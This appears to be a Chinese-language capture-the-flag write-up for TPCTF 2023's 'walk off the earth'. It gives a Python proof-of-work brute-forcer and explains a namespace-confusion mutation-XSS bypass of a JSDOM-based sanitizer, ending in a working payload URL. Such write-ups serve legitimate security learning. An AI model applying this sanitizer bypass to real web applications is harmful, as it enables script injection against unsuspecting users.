2023 TPCTF WriteUp
2023-11-28 Write Up

walk off the earth

1. sha256 爆破

要实现 xss ,需要先爆破出 sha256 表达式

req.session.pow = random_bytes(8);
const { path, pow } = req.body;
(pow && typeof pow == 'string') && (sha256(req.session.pow + pow).slice(0, difficulty) == '0'.repeat(difficulty))

random_bytes(8) + ??? = 0000000(7)…

假设 ? 处为 8位,使用 pwnlibmbruteforce 进行爆破,脚本如下:

base = '6dc4a026ee67675e'

from pwn import *
import hashlib

def test(suffix):

    # Concatenate the base and suffix
    data = base + suffix

    # Calculate the SHA256 hash
    hash_value = hashlib.sha256(data.encode()).hexdigest()

    # Check if the hash value starts with '0000000(7)'
    if hash_value.startswith('0000000'):
        return True
    else:
        return False

if __name__=='__main__':
    pwnlib.util.iters.mbruteforce(test, string.digits + string.ascii_letters + string.punctuation, 8,'fixed')

2. throw error 构造

2.1 构造位置确定

根据 visit.js 中给出的代码逻辑
我们可以在以下两个位置实现 throw error
并保证在 res 不被替换的情况下带出 flag

第一处:

await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 2000 });

第二处:

await page.waitForFunction(text => document.write(text), { timeout: 2000 },text);
-> (e instanceof puppeteer.ProtocolError && e.message.includes('Target closed'))

其中第二处对 error 的类型有限定

通过第二处带出 flag 其实为 walk off the solar system 一题的解
因此本题仅讨论通过第一处 throw error 带出 flag

2.2 命名空间混淆绕过 sanitize

由于在第一处 throw error 需要造成至少 2000 ms 的 timeout
我们需要通过 text arg 来完成对目标页面的脚本注入

但是已知 sanitize 函数会对 DOM node 的 tagattributes 进行过滤
因此此处需要利用命名空间混淆来绕过过滤

命名空间混淆

如果在浏览器中提供以下 HTML

<form> Hello 
    <form> World
        <img>

然后它将解析为 DOM

└──HTML
   ├──HEAD
   └──BODY
      └──FORM
         ├──#text: Hello World
         └──IMG

在浏览器中,表单元素本身不能嵌套
如果它像上面给出的那样嵌套
它将从 DOM 中删除内部表单标签

但是嵌套表单标签在 JSDOM 中可以存在的

由于 JSDOM 中嵌套标签的解析不一致
sanitize 会将其视为普通标签
但在浏览器中它会触发 XSS Script

该漏洞是

<form><math><mtext></form><form><mglyph><style></math><script>alert(10)</script>

然后JSDOM将其序列化为

<form><math><mtext><form><mglyph><style></math><script>alert(10)</script></style></mglyph></form></mtext></math></form>

但浏览器认为这是

<form><math><mtext><mglyph><style></style></mglyph></mtext></math><script>alert(10)</script></form>

该漏洞将解析为 DOM

└──HTML
   ├──HEAD
   └──BODY
      ├──FORM
      │  ├──math
      │  │  └──mtext
      │  │     └──mglyph
      │  │        └──style
      │  └──SCRIPT
      │     └──#text: alert(10)
      └──#text:

这是因为表单元素是另一个表单的直接子元素,这是不可能的
因此内部表单标签从 DOM 中删除了
然后,标签会关闭之前的标签,脚本标签会出现在外面

这样我们就实现了绕过 sanitize

payload

/note?text=<form><math><mtext></form><form><mglyph><style></math><audio src=x  onerror=alert("xss");><script>alert("xss")</script><audio src=x  onerror=alert("xss");>

该 payload 通过不断在页面进行弹窗使得页面超时从而得到 flag